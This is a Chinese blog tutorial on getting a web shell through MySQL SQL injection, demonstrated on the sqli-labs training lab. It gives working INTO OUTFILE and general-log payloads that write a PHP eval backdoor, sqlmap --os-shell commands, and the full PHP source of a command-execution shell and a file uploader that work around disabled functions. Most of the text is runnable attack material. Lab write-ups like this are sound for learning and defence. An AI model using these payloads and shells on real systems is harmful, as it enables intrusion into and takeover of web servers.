sql注入getshell

into outfile

条件:

web目录具有写的权限,能够使用单引号;知道网站绝对路径;secure_file_priv没有具体值(在mysql/my.ini查看)

以sqli-labs举例,secure_file_priv的值默认是NULL(5.5之前默认是空的),则表示限制mysqId不允许导入以及导出

show global variables like '%secure%';

在mysql/my.ini中查看是否有secure_file_priv参数,这里是没有的因此我们加上去:secure_flie_priv=”即可

id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23
例如:http://192.168.52.183/sqli-labs/Less-7/?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b27696b756e275d293b3f3e20,3 into outfile   'C:\\phpstudy_pro\\WWW\\outfile.php' --+

这里进行16进制转换,因此是0X开头,写入“ ” ,到相应路径,这里还要双斜杠转义:C:\phpstudy_pro\WWW\outfile.php,然后访问这个:outfile.php 路径

日志shell写入

outfile被禁止,或者写入文件被拦截;必须是root权限

show variables like '%general%';  #查看配置

set global general_log = on;  #开启general log模式

set global general_log_file = '././.php';   #设置日志目录为shell地址

写入shell:

select '<?php eval($_POST['kun']);?>' 

–os-shell

  • 知道网站路径且有写入权限
  • 高权限数据库用户
  • secure_file_priv无限制(为空)

其实可以看出和上面的大同小异。

–sql-shell

因此可以使用 –sql-shell 进行一些判断

python sqlmap.py -u http://192.168.52.183/sqli-labs/Less-1/?id=1 --sql-shell
  • 查看存在哪些用户
select user, host from mysql.user;
  • 查看文件路径(mysql/data的路径,根目录一般与mysql处于同一目录)
select @@datadir;
  • 查看secure_file_priv的值是否为空。这里是空的,假如返回的是NULL则就不能使用了
select @@secure_file_priv;
sqlmap -u http://192.168.52.183/sqli-labs/Less-1/?id=1 --os-shell

在网站根目录下随机生成的;

一个是RCE;源码如下:

<?php
// 获取传入的命令
$c = $_REQUEST["cmd"];
// 设置脚本最大执行时间和忽略用户中止
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
// 获取禁用的函数列表
$z = @ini_get("disable_functions");
if (!empty($z)) {
    $z = preg_replace("/[, ]+/", ',', $z);
    $z = explode(',', $z);
    $z = array_map("trim", $z);
} else {
    $z = array();
}
// 将命令追加错误输出
$c = $c . " 2>&1\n";
// 函数检查器,检查函数是否存在且未被禁用
function f($n)
{
    global $z;
    return is_callable($n) and !in_array($n, $z);
}
// 检查可执行系统命令的函数
if (f("system")) {
    ob_start();
    system($c);
    $w = ob_get_clean();
} elseif (f("proc_open")) {
    // 使用 proc_open 函数执行命令
    $y = proc_open($c, array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $t);
    $w = NULL;
    while (!feof($t[1])) {
        $w .= fread($t[1], 512);
    }
    @proc_close($y);
} elseif (f("shell_exec")) {
    // 使用 shell_exec 函数执行命令
    $w = shell_exec($c);
} elseif (f("passthru")) {
    ob_start();
    passthru($c);
    $w = ob_get_clean();
} elseif (f("popen")) {
    // 使用 popen 函数执行命令
    $x = popen($c, "r");
    $w = NULL;
    if (is_resource($x)) {
        while (!feof($x)) {
            $w .= fread($x, 512);
        }
    }
    @pclose($x);
} elseif (f("exec")) {
    // 使用 exec 函数执行命令
    $w = array();
    exec($c, $w);
    $w = join(chr(10), $w) . chr(10);
} else {
    // 如果没有可用的函数,则返回 0
    $w = 0;
}
// 输出结果
echo "<pre>$w</pre>";
?>

一个是可进行文件上传的交互;源码如下:

<?php
// 开始 PHP 代码块
// 检查是否设置了上传参数
if (isset($_REQUEST["upload"])) {
    // 获取上传目录
    $dir = $_REQUEST["uploadDir"];
    // 检查 PHP 版本是否小于 4.1.0
    if (phpversion() < '4.1.0') {
        // PHP 版本小于 4.1.0,使用旧的全局变量
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
    } else {
        // PHP 版本大于等于 4.1.0,使用 $_FILES 数组
        $file = $_FILES["file"]["name"];
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
    }
    // 设置上传文件权限为 0755
    @chmod($dir . "/" . $file, 0755);
    // 输出文件上传成功消息
    echo "File uploaded";
} else {
    // 如果未设置上传参数,则显示上传表单
    echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy_pro\\www\\> <input type=submit name=upload value=upload></form>";
}
// 结束 PHP 代码块
?>

参考:

https://blog.csdn.net/m0_56415977/article/details/126491794

文章作者:摘星怪
版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明文章地址及作者
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇